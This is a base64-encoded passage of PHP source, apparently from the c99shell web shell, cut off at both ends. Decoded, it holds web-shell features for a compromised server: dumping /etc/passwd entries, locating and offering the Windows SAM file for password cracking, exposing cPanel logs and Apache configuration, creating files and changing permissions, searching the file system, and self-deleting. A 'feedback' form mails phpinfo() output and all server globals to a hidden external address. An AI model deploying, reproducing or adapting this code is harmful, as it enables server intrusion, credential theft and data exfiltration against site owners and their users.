0d2FyZTo8L2I+ICIuUEhQX09TLiIsICIuJFNFUlZFUl9TT0ZUV0FSRS4iPGJyPjxiPlNhZmUtTW9kZTogIi4kaHNhZmVtb2RlLiI8L2I+PGJyPjxiPk9wZW4gYmFzZSBkaXI6ICIuJGhvcGVuYmFzZWRpci4iPC9iPjxicj4iOw0KIGlmICghJHdpbikNCiB7DQogIGlmICgkbml4cGFzc3dkKQ0KICB7DQogICBpZiAoJG5peHBhc3N3ZCA9PSAxKSB7JG5peHBhc3N3ZCA9IDA7fQ0KICAgZWNobyAiPGI+Km5peCAvZXRjL3Bhc3N3ZDo8L2I+PGJyPiI7DQogICBpZiAoIWlzX251bWVyaWMoJG5peHB3ZF9zKSkgeyRuaXhwd2RfcyA9IDA7fQ0KICAgaWYgKCFpc19udW1lcmljKCRuaXhwd2RfZSkpIHskbml4cHdkX2UgPSAkbml4cHdkcGVycGFnZTt9DQogICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJhY3RcIiB2YWx1ZT1cInNlY3VyaXR5XCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibml4cGFzc3dkXCIgdmFsdWU9XCIxXCI+PGI+RnJvbTo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0PVwiIG5hbWU9XCJuaXhwd2Rfc1wiIHZhbHVlPVwiIi4kbml4cHdkX3MuIlwiPiZuYnNwOzxiPlRvOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwibml4cHdkX2VcIiB2YWx1ZT1cIiIuJG5peHB3ZF9lLiJcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiVmlld1wiPjwvZm9ybT48YnI+IjsNCiAgICRpID0gJG5peHB3ZF9zOw0KICAgd2hpbGUgKCRpIDwgJG5peHB3ZF9lKQ0KICAgew0KICAgICR1aWQgPSBwb3NpeF9nZXRwd3VpZCgkaSk7DQogICAgaWYgKCR1aWQpDQogICAgew0KICAgICAkdWlkWyJkaXIiXSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWxzJmQ9Ii51cmxlbmNvZGUoJHVpZFsiZGlyIl0pLiJcIj4iLiR1aWRbImRpciJdLiI8L2E+IjsNCiAgICAgZWNobyBqb2luKCI6IiwkdWlkKS4iPGJyPiI7DQogICAgfQ0KICAgICRpKys7DQogICB9DQogIH0NCiAgZWxzZSB7ZWNobyAiPGJyPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9c2VjdXJpdHkmbml4cGFzc3dkPTEmZD0iLiR1ZC4iXCI+PGI+PHU+R2V0IC9ldGMvcGFzc3dkPC91PjwvYj48L2E+PGJyPiI7fQ0KIH0NCiBlbHNlDQogew0KICAkdiA9ICRfU0VSVkVSWyJXSU5ESVIiXS4iXHJlcGFpclxzYW0iOw0KICBpZiAoZmlsZV9nZXRfY29udGVudHMoJHYpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9XCJyZWRcIj5Zb3UgY2FuJ3QgY3JhY2sgd2lubnQgcGFzc3dvcmRzKCIuJHYuIikgPC9mb250PjwvYj48YnI+Ijt9DQogIGVsc2Uge2VjaG8gIjxiPjxmb250IGNvbG9yPVwiZ3JlZW5cIj5Zb3UgY2FuIGNyYWNrIHdpbm50IHBhc3N3b3Jkcy4gPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9c2FtJmQ9Ii4kX1NFUlZFUlsiV0lORElSIl0uIlxccmVwYWlyJmZ0PWRvd25sb2FkXCI+PHU+PGI+RG93bmxvYWQ8L2I+PC91PjwvYT4sIGFuZCB1c2UgbGNwLmNyYWNrKyCpLjwvZm9udD48L2I+PGJyPiI7fQ0KIH0NCiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvdXNlcmRvbWFpbnMiKSkge2VjaG8gIjxiPjxmb250IGNvbG9yPVwiZ3JlZW5cIj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj11c2VyZG9tYWlucyZkPS9ldGMvJmZ0PXR4dFwiPjx1PjxiPlZpZXcgY3BhbmVsIHVzZXItZG9tYWlucyBsb2dzPC9iPjwvdT48L2E+PC9mb250PjwvYj48YnI+Ijt9DQogaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCIvdmFyL2NwYW5lbC9hY2NvdW50aW5nLmxvZyIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9XCJncmVlblwiPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPWFjY291bnRpbmcubG9nJmQ9L3Zhci9jcGFuZWwvJmZ0PXR4dFwiPjx1PjxiPlZpZXcgY3BhbmVsIGxvZ3M8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30NCiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi91c3IvbG9jYWwvYXBhY2hlL2NvbmYvaHR0cGQuY29uZiIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9XCJncmVlblwiPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPWh0dHBkLmNvbmYmZD0vdXNyL2xvY2FsL2FwYWNoZS9jb25mLyZmdD10eHRcIj48dT48Yj5BcGFjaGUgY29uZmlndXJhdGlvbiAoaHR0cGQuY29uZik8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30NCiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvaHR0cGQuY29uZiIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9XCJncmVlblwiPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPWh0dHBkLmNvbmYmZD0vZXRjLyZmdD10eHRcIj48dT48Yj5BcGFjaGUgY29uZmlndXJhdGlvbiAoaHR0cGQuY29uZik8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30NCn0NCmlmICgkYWN0ID09ICJta2ZpbGUiKQ0Kew0KIGlmICgkbWtmaWxlICE9ICRkKQ0KIHsNCiAgaWYgKGZpbGVfZXhpc3RzKCRta2ZpbGUpKSB7ZWNobyAiPGI+TWFrZSBGaWxlIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2ZpbGUpLiJcIjwvYj46IG9iamVjdCBhbHJlZHkgZXhpc3RzIjt9DQogIGVsc2VpZiAoIWZvcGVuKCRta2ZpbGUsInciKSkge2VjaG8gIjxiPk1ha2UgRmlsZSBcIiIuaHRtbHNwZWNpYWxjaGFycygkbWtmaWxlKS4iXCI8L2I+OiBhY2Nlc3MgZGVuaWVkIjt9DQogIGVsc2UgeyRhY3QgPSAiZiI7ICRkID0gZGlybmFtZSgkbWtmaWxlKTsgaWYgKHN1YnN0cigkZCwtMSwxKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9ICRmID0gYmFzZW5hbWUoJG1rZmlsZSk7fQ0KIH0NCiBlbHNlIHskYWN0ID0gJGRzcGFjdCA9ICJscyI7fQ0KfQ0KaWYgKCRhY3QgPT0gImVuY29kZXIiKQ0Kew0KIGVjaG8gIjxzY3JpcHQ+ZnVuY3Rpb24gc2V0X2VuY29kZXJfaW5wdXQodGV4dCkge2RvY3VtZW50LmZvcm1zLmVuY29kZXIuaW5wdXQudmFsdWUgPSB0ZXh0O308L3NjcmlwdD48Y2VudGVyPjxiPkVuY29kZXI6PC9iPjwvY2VudGVyPjxmb3JtIG5hbWU9XCJlbmNvZGVyXCIgbWV0aG9kPVwiUE9TVFwiPjxiPklucHV0OjwvYj48Y2VudGVyPjx0ZXh0YXJlYSBuYW1lPVwiZW5jb2Rlcl9pbnB1dFwiIGlkPVwiaW5wdXRcIiBjb2xzPTUwIHJvd3M9NT4iLkBodG1sc3BlY2lhbGNoYXJzKCRlbmNvZGVyX2lucHV0KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cImNhbGN1bGF0ZVwiPjxicj48YnI+PC9jZW50ZXI+PGI+SGFzaGVzPC9iPjo8YnI+PGNlbnRlcj4iOw0KIGZvcmVhY2goYXJyYXkoIm1kNSIsImNyeXB0Iiwic2hhMSIsImNyYzMyIikgYXMgJHYpDQogew0KICBlY2hvICR2LiIgLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9NTAgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi4kdigkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5Pjxicj4iOw0KIH0NCiBlY2hvICI8L2NlbnRlcj48Yj5Vcmw6PC9iPjxjZW50ZXI+PGJyPnVybGVuY29kZSAtIDxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiLnVybGVuY29kZSgkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5Pg0KIDxicj51cmxkZWNvZGUgLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi51cmxkZWNvZGUoJGVuY29kZXJfaW5wdXQpLiJcIiByZWFkb25seT4NCiA8YnI+PC9jZW50ZXI+PGI+QmFzZTY0OjwvYj48Y2VudGVyPmJhc2U2NF9lbmNvZGUgLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi5iYXNlNjRfZW5jb2RlKCRlbmNvZGVyX2lucHV0KS4iXCIgcmVhZG9ubHk+PC9jZW50ZXI+IjsNCiBlY2hvICI8Y2VudGVyPmJhc2U2NF9kZWNvZGUgLSAiOw0KIGlmIChiYXNlNjRfZW5jb2RlKGJhc2U2NF9kZWNvZGUoJGVuY29kZXJfaW5wdXQpKSAhPSAkZW5jb2Rlcl9pbnB1dCkge2VjaG8gIjxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSB2YWx1ZT1cImZhaWxlZFwiIGRpc2FibGVkIHJlYWRvbmx5PiI7fQ0KIGVsc2UNCiB7DQogICRkZWJhc2U2NCA9IGJhc2U2NF9kZWNvZGUoJGVuY29kZXJfaW5wdXQpOw0KICAkZGViYXNlNjQgPSBzdHJfcmVwbGFjZSgiXDAiLCJbMF0iLCRkZWJhc2U2NCk7DQogICRhID0gZXhwbG9kZSgiXHJcbiIsJGRlYmFzZTY0KTsNCiAgJHJvd3MgPSBjb3VudCgkYSk7DQogICRkZWJhc2U2NCA9IGh0bWxzcGVjaWFsY2hhcnMoJGRlYmFzZTY0KTsNCiAgaWYgKCRyb3dzID09IDEpIHtlY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi4kZGViYXNlNjQuIlwiIGlkPVwiZGViYXNlNjRcIiByZWFkb25seT4iO30NCiAgZWxzZSB7JHJvd3MrKzsgZWNobyAiPHRleHRhcmVhIGNvbHM9XCI0MFwiIHJvd3M9XCIiLiRyb3dzLiJcIiBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgaWQ9XCJkZWJhc2U2NFwiIHJlYWRvbmx5PiIuJGRlYmFzZTY0LiI8L3RleHRhcmVhPiI7fQ0KICBlY2hvICImbmJzcDs8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJzZXRfZW5jb2Rlcl9pbnB1dChkb2N1bWVudC5mb3Jtcy5lbmNvZGVyLmRlYmFzZTY0LnZhbHVlKVwiPjxiPl48L2I+PC9hPiI7DQogfQ0KIGVjaG8gIjwvY2VudGVyPjxicj48Yj5CYXNlIGNvbnZlcnRhdGlvbnM8L2I+OjxjZW50ZXI+ZGVjMmhleCAtIDxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiOw0KICRjID0gc3RybGVuKCRlbmNvZGVyX2lucHV0KTsNCiBmb3IoJGk9MDskaTwkYzskaSsrKQ0KIHsNCiAgJGhleCA9IGRlY2hleChvcmQoJGVuY29kZXJfaW5wdXRbJGldKSk7DQogIGlmICgkZW5jb2Rlcl9pbnB1dFskaV0gPT0gIiYiKSB7ZWNobyAkZW5jb2Rlcl9pbnB1dFskaV07fQ0KICBlbHNlaWYgKCRlbmNvZGVyX2lucHV0WyRpXSAhPSAiXFwiKSB7ZWNobyAiJSIuJGhleDt9DQogfQ0KIGVjaG8gIlwiIHJlYWRvbmx5Pjxicj48L2NlbnRlcj48L2Zvcm0+IjsNCn0NCmlmICgkYWN0ID09ICJmc2J1ZmYiKQ0Kew0KICRhcnJfY29weSA9ICRzZXNzX2RhdGFbImNvcHkiXTsNCiAkYXJyX2N1dCA9ICRzZXNzX2RhdGFbImN1dCJdOw0KICRhcnIgPSBhcnJheV9tZXJnZSgkYXJyX2NvcHksJGFycl9jdXQpOw0KIGlmIChjb3VudCgkYXJyKSA9PSAwKSB7ZWNobyAiPGNlbnRlcj48Yj5CdWZmZXIgaXMgZW1wdHkhPC9iPjwvY2VudGVyPiI7fQ0KIGVsc2Uge2VjaG8gIjxiPkZpbGUtU3lzdGVtIGJ1ZmZlcjwvYj48YnI+PGJyPiI7ICRsc19hcnIgPSAkYXJyOyAkZGlzcF9mdWxscGF0aCA9IHRydWU7ICRhY3QgPSAibHMiO30NCn0NCmlmICgkYWN0ID09ICJzZWxmcmVtb3ZlIikNCnsNCiBpZiAoKCRzdWJtaXQgPT0gJHJuZGNvZGUpIGFuZCAoJHN1Ym1pdCAhPSAiIikpDQogew0KICBpZiAodW5saW5rKF9fRklMRV9fKSkge0BvYl9jbGVhbigpOyBlY2hvICJUaGFua3MgZm9yIHVzaW5nIGM5OXNoZWxsIHYuIi4kc2h2ZXIuIiEiOyBleGl0OyB9DQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+Q2FuJ3QgZGVsZXRlICIuX19GSUxFX18uIiE8L2I+PC9jZW50ZXI+Ijt9DQogfQ0KIGVsc2UNCiB7DQogIGlmICghZW1wdHkoJHJuZGNvZGUpKSB7ZWNobyAiPGI+RXJyb3I6IGluY29ycmVjdCBjb25maW1hdGlvbiE8L2I+Ijt9DQogICRybmQgPSByYW5kKDAsOSkucmFuZCgwLDkpLnJhbmQoMCw5KTsNCiAgZWNobyAiPGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxiPlNlbGYtcmVtb3ZlOiAiLl9fRklMRV9fLiIgPGJyPjxiPkFyZSB5b3Ugc3VyZT88YnI+Rm9yIGNvbmZpcm1hdGlvbiwgZW50ZXIgXCIiLiRybmQuIlwiPC9iPjombmJzcDs8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJybmRjb2RlXCIgdmFsdWU9XCIiLiRybmQuIlwiPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzdWJtaXRcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiWUVTXCI+PC9mb3JtPiI7DQogfQ0KfQ0KaWYgKCRhY3QgPT0gImZlZWRiYWNrIikNCnsNCiAkc3VwcG1haWwgPSBiYXNlNjRfZGVjb2RlKCJZems1YzJobGJHeEFhVzVpYjNndWNuVT0iKTsNCiBpZiAoIWVtcHR5KCRzdWJtaXQpKQ0KIHsNCiAgJHRpY2tldCA9IHN1YnN0cihtZDUobWljcm90aW1lKCkrcmFuZCgxLDEwMDApKSwwLDYpOw0KICAkYm9keSA9ICJjOTlzaGVsbCB2LiIuJHNodmVyLiIgZmVlZGJhY2sgIyIuJHRpY2tldC4iXG5OYW1lOiAiLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfbmFtZSkuIlxuRS1tYWlsOiAiLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfZW1haWwpLiJcbk1lc3NhZ2U6XG4iLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfYm9keSkuIlxuXG5JUDogIi4kUkVNT1RFX0FERFI7DQogIGlmICghZW1wdHkoJGZkYmtfcmVmKSkNCiAgew0KICAgJHRtcCA9IEBvYl9nZXRfY29udGVudHMoKTsNCiAgIG9iX2NsZWFuKCk7DQogICBwaHBpbmZvKCk7DQogICAkcGhwaW5mbyA9IGJhc2U2NF9lbmNvZGUob2JfZ2V0X2NvbnRlbnRzKCkpOw0KICAgb2JfY2xlYW4oKTsNCiAgIGVjaG8gJHRtcDsNCiAgICRib2R5IC49ICJcbiIuInBocGluZm8oKTogIi4kcGhwaW5mby4iXG4iLiJcJEdMT0JBTFM9Ii5iYXNlNjRfZW5jb2RlKHNlcmlhbGl6ZSgkR0xPQkFMUykpLiJcbiI7DQogIH0NCiAgbWFpbCgkc3VwcG1haWwsImM5OXNoZWxsIHYuIi4kc2h2ZXIuIiBmZWVkYmFjayAjIi4kdGlja2V0LCRib2R5LCJGUk9NOiAiLiRzdXBwbWFpbCk7DQogIGVjaG8gIjxjZW50ZXI+PGI+VGhhbmtzIGZvciB5b3VyIGZlZWRiYWNrISBZb3VyIHRpY2tldCBJRDogIi4kdGlja2V0LiIuPC9iPjwvY2VudGVyPiI7DQogfQ0KIGVsc2Uge2VjaG8gIjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48Yj5GZWVkYmFjayBvciByZXBvcnQgYnVnICgiLnN0cl9yZXBsYWNlKGFycmF5KCJAIiwiLiIpLGFycmF5KCJbYXRdIiwiW2RvdF0iKSwkc3VwcG1haWwpLiIpOjxicj48YnI+WW91ciBuYW1lOiA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZmRia19uYW1lXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfbmFtZSkuIlwiPjxicj48YnI+WW91ciBlLW1haWw6IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmZGJrX2VtYWlsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfZW1haWwpLiJcIj48YnI+PGJyPk1lc3NhZ2U6PGJyPjx0ZXh0YXJlYSBuYW1lPVwiZmRia19ib2R5XCIgY29scz04MCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkZmRia19ib2R5KS4iPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJmZGJrX3JlZlwiIHZhbHVlPVwiIi51cmxlbmNvZGUoJEhUVFBfUkVGRVJFUikuIlwiPjxicj48YnI+QXR0YWNoIHNlcnZlci1pbmZvICogPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJmZGJrX3NlcnZpbmZcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxicj48YnI+VGhlcmUgYXJlIG5vIGNoZWNraW5nIGluIHRoZSBmb3JtLjxicj48YnI+KiAtIHN0cm9uZ2x5IHJlY29tbWVuZGVkLCBpZiB5b3UgcmVwb3J0IGJ1ZywgYmVjYXVzZSB3ZSBuZWVkIGl0IGZvciBidWctZml4Ljxicj48YnI+V2UgdW5kZXJzdGFuZCBsYW5ndWFnZXM6IEVuZ2xpc2gsIFJ1c3NpYW4uPGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIlNlbmRcIj48L2Zvcm0+Ijt9DQp9DQppZiAoJGFjdCA9PSAic2VhcmNoIikNCnsNCiBlY2hvICI8Yj5TZWFyY2ggaW4gZmlsZS1zeXN0ZW06PC9iPjxicj4iOw0KIGlmIChlbXB0eSgkc2VhcmNoX2luKSkgeyRzZWFyY2hfaW4gPSAkZDt9DQogaWYgKGVtcHR5KCRzZWFyY2hfbmFtZSkpIHskc2VhcmNoX25hbWUgPSAiKC4qKSI7ICRzZWFyY2hfbmFtZV9yZWdleHAgPSAxO30NCiBpZiAoZW1wdHkoJHNlYXJjaF90ZXh0X3d3bykpIHskc2VhcmNoX3RleHRfcmVnZXhwID0gMDt9DQogaWYgKCFlbXB0eSgkc3VibWl0KSkNCiB7DQogICRmb3VuZCA9IGFycmF5KCk7DQogICRmb3VuZF9kID0gMDsNCiAgJGZvdW5kX2YgPSAwOw0KICAkc2VhcmNoX2lfZiA9IDA7DQogICRzZWFyY2hfaV9kID0gMDsNCiAgJGEgPSBhcnJheQ0KICAoDQogICAibmFtZSI9PiRzZWFyY2hfbmFtZSwgIm5hbWVfcmVnZXhwIj0+JHNlYXJjaF9uYW1lX3JlZ2V4cCwNCiAgICJ0ZXh0Ij0+JHNlYXJjaF90ZXh0LCAidGV4dF9yZWdleHAiPT4kc2VhcmNoX3RleHRfcmVneHAsDQogICAidGV4dF93d28iPT4kc2VhcmNoX3RleHRfd3dvLA0KICAgInRleHRfY3MiPT4kc2VhcmNoX3RleHRfY3MsDQogICAidGV4dF9ub3QiPT4kc2VhcmNoX3RleHRfbm90DQogICk7DQogICRzZWFyY2h0aW1lID0gZ2V0bWljcm90aW1lKCk7DQogICRpbiA9IGFycmF5X3VuaXF1ZShleHBsb2RlKCI7Iiwkc2VhcmNoX2luKSk7DQogIGZvcmVhY2goJGluIGFzICR2KSB7Yzk5ZnNlYXJjaCgkdik7fQ0KICAkc2VhcmNodGltZSA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRzZWFyY2h0aW1lLDQpOw0KICBpZiAoY291bnQoJGZvdW5kKSA9PSAwKSB7ZWNobyAiPGI+Tm8gZmlsZXMgZm91bmQhPC9iPiI7fQ0KICBlbHNlDQogIHsNCiAgICRsc19hcnIgPSAkZm91bmQ7DQogICAkZGlzcF9mdWxscGF0aCA9IHRydWU7DQogICAkYWN0ID0gImxzIjsNCiAgfQ0KIH0NCiBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJkXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiYWN0XCIgdmFsdWU9XCIiLiRkc3BhY3QuIlwiPg0KPGI+U2VhcmNoIGZvciAoZmlsZS9kaXJlY3RvcnkgbmFtZSk6IDwvYj48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic2VhcmNoX25hbWVcIiBzaXplPVwiIi5yb3VuZChzdHJsZW4oJHNlYXJjaF9uYW1lKSsyNSkuIlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfbmFtZSkuIlwiPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX25hbWVfcmVnZXhwXCIgdmFsdWU9XCIxXCIgIi5nY2hkcygkc2VhcmNoX25hbWVfcmVnZXhwLDEsIiBjaGVja2VkIikuIj4gLSByZWdleHANCjxicj48Yj5TZWFyY2ggaW4gKGV4cGxvZGUgXCI7XCIpOiA8L2I+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNlYXJjaF9pblwiIHNpemU9XCIiLnJvdW5kKHN0cmxlbigkc2VhcmNoX2luKSsyNSkuIlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfaW4pLiJcIj4NCjxicj48YnI+PGI+VGV4dDo8L2I+PGJyPjx0ZXh0YXJlYSBuYW1lPVwic2VhcmNoX3RleHRcIiBjb2xzPVwiMTIyXCIgcm93cz1cIjEwXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfdGV4dCkuIjwvdGV4dGFyZWE+DQo8YnI+PGJyPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX3RleHRfcmVnZXhwXCIgdmFsdWU9XCIxXCIgIi5nY2hkcygkc2VhcmNoX3RleHRfcmVnZXhwLDEsIiBjaGVja2VkIikuIj4gLSByZWdleHANCiZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX3RleHRfd3dvXCIgdmFsdWU9XCIxXCIgIi5nY2hkcygkc2VhcmNoX3RleHRfd3dvLDEsIiBjaGVja2VkIikuIj4gLSA8dT53PC91PmhvbGUgd29yZHMgb25seQ0KJm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF9jc1wiIHZhbHVlPVwiMVwiICIuZ2NoZHMoJHNlYXJjaF90ZXh0X2NzLDEsIiBjaGVja2VkIikuIj4gLSBjYXM8dT5lPC91PiBzZW5zaXRpdmUNCiZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX3RleHRfbm90XCIgdmFsdWU9XCIxXCIgIi5nY2hkcygkc2VhcmNoX3RleHRfbm90LDEsIiBjaGVja2VkIikuIj4gLSBmaW5kIGZpbGVzIDx1Pk5PVDwvdT4gY29udGFpbmluZyB0aGUgdGV4dA0KPGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIlNlYXJjaFwiPjwvZm9ybT4iOw0KIGlmICgkYWN0ID09ICJscyIpIHskZHNwYWN0ID0gJGFjdDsgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT48Yj5TZWFyY2ggdG9vayAiLiRzZWFyY2h0aW1lLiIgc2VjcyAoIi4kc2VhcmNoX2lfZi4iIGZpbGVzIGFuZCAiLiRzZWFyY2hfaV9kLiIgZGlyZWN0b3JpZXMsICIucm91bmQoKCRzZWFyY2hfaV9mKyRzZWFyY2hfaV9kKS8kc2VhcmNodGltZSw0KS4iIG9iamVjdHMgcGVyIHNlY29uZCkuPC9iPjxicj48YnI+Ijt9DQp9DQppZiAoJGFjdCA9PSAiY2htb2QiKQ0Kew0KICRtb2RlID0gZmlsZXBlcm1zKCRkLiRmKTsNCiBpZiAoISRtb2RlKSB7ZWNobyAiPGI+Q2hhbmdlIGZpbGUtbW9kZSB3aXRoIGVycm9yOjwvYj4gY2FuJ3QgZ2V0IGN1cnJlbnQgdmFsdWUuIjt9DQogZWxzZQ0KIHsNCiAgJGZvcm0gPSB0cnVlOw0KICBpZiAoJGNobW9kX3N1Ym1pdCkNCiAgew0KICAgJG9jdGV0ID0gIjAiLmJhc2VfY29udmVydCgoJGNobW9kX29bInIiXT8xOjApLigkY2htb2Rfb1sidyJdPzE6MCkuKCRjaG1vZF9vWyJ4Il0/MTowKS4oJGNobW9kX2dbInIiXT8xOjApLigkY2htb2RfZ1sidyJdPzE6MCkuKCRjaG1vZF9nWyJ4Il0/MTowKS4oJGNobW9kX3dbInIiXT8xOjApLigkY2htb2Rfd1sidyJdPzE6MCkuKCRjaG1vZF93WyJ4Il0/MTowKSwyLDgpOw0KICAgaWYgKGNobW9kKCRkLiRmLCRvY3RldCkpIHskYWN0ID0gImxzIjsgJGZvcm0gPSBmYWxzZTsgJGVyciA9ICIiO30NCiAgIGVsc2UgeyRlcnIgPSAiQ2FuJ3QgY2htb2QgdG8gIi4kb2N0ZXQuIi4iO30NCiAgfQ0KICBpZiAoJGZvcm0pDQogIHsNCiAgICRwZXJtcyA9IHBhcnNlX3Blcm1zKCRtb2RlKTsNCiAgIGVjaG8gIjxiPkNoYW5naW5nIGZpbGUtbW9kZSAoIi4kZC4kZi4iKSwgIi52aWV3X3Blcm1zX2NvbG9yKCRkLiRmKS4iICgiLnN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRkLiRmKSksLTQsNCkuIik8L2I+PGJyPiIuKCRlcnI/IjxiPkVycm9yOjwvYj4gIi4kZXJyOiIiKS4iPGZvcm0gYWN0aW9uPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzdXJsKS4iXCIgbWV0aG9kPVwiUE9TVFwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGQpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRmKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPWNobW9kPjx0YWJsZSBhbGlnbj1sZWZ0IHdpZHRoPTMwMCBib3JkZXI9MCBjZWxsc3